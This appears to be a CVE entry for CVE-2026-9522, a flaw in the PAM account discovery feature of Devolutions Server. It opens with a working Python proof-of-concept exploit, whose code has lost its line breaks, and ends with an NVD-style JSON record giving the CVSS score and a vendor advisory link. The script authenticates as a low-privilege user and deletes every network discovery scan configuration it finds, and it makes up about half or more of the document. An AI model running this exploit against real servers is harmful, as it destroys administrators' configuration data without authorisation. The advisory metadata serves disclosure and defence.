CVE-2026-9522

import requests import json # CVE-2026-9522 PoC - Devolutions Server Unauthorized Configuration Deletion # Target: Devolutions Server < 2026.1.19 # Vulnerability: Improper Access Control in PAM account discovery feature TARGET_URL = "https://target-server/api" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit(): """ This PoC demonstrates how an authenticated low-privilege user can delete network discovery scan configurations without administrative privileges. """ # Step 1: Authenticate with low-privilege account session = requests.Session() login_url = f"{TARGET_URL}/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated as low-privilege user") # Step 2: Get list of scan configurations configs_url = f"{TARGET_URL}/discovery/configurations" response = session.get(configs_url) if response.status_code == 200: configs = response.json() print(f"[+] Found {len(configs)} scan configurations") # Step 3: Delete configurations without admin privileges for config in configs: config_id = config.get("id") delete_url = f"{TARGET_URL}/discovery/configurations/{config_id}" # This should require admin privileges but doesn't delete_response = session.delete(delete_url) if delete_response.status_code in [200, 204]: print(f"[+] Successfully deleted config {config_id}") else: print(f"[-] Failed to delete config {config_id}") return True if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-9522", "sourceIdentifier": "[email protected]", "published": "2026-06-02T16:16:45.873", "lastModified": "2026-06-02T20:54:12.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in the PAM account discovery feature in Devolutions Server 2026.1.19 and earlier allows an authenticated user without administrative privileges to delete network discovery scan configurations."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.1.20.0", "matchCriteriaId": "6D73CF7D-6C68-4729-B4B5-1673E7EFEE4D"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0014/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}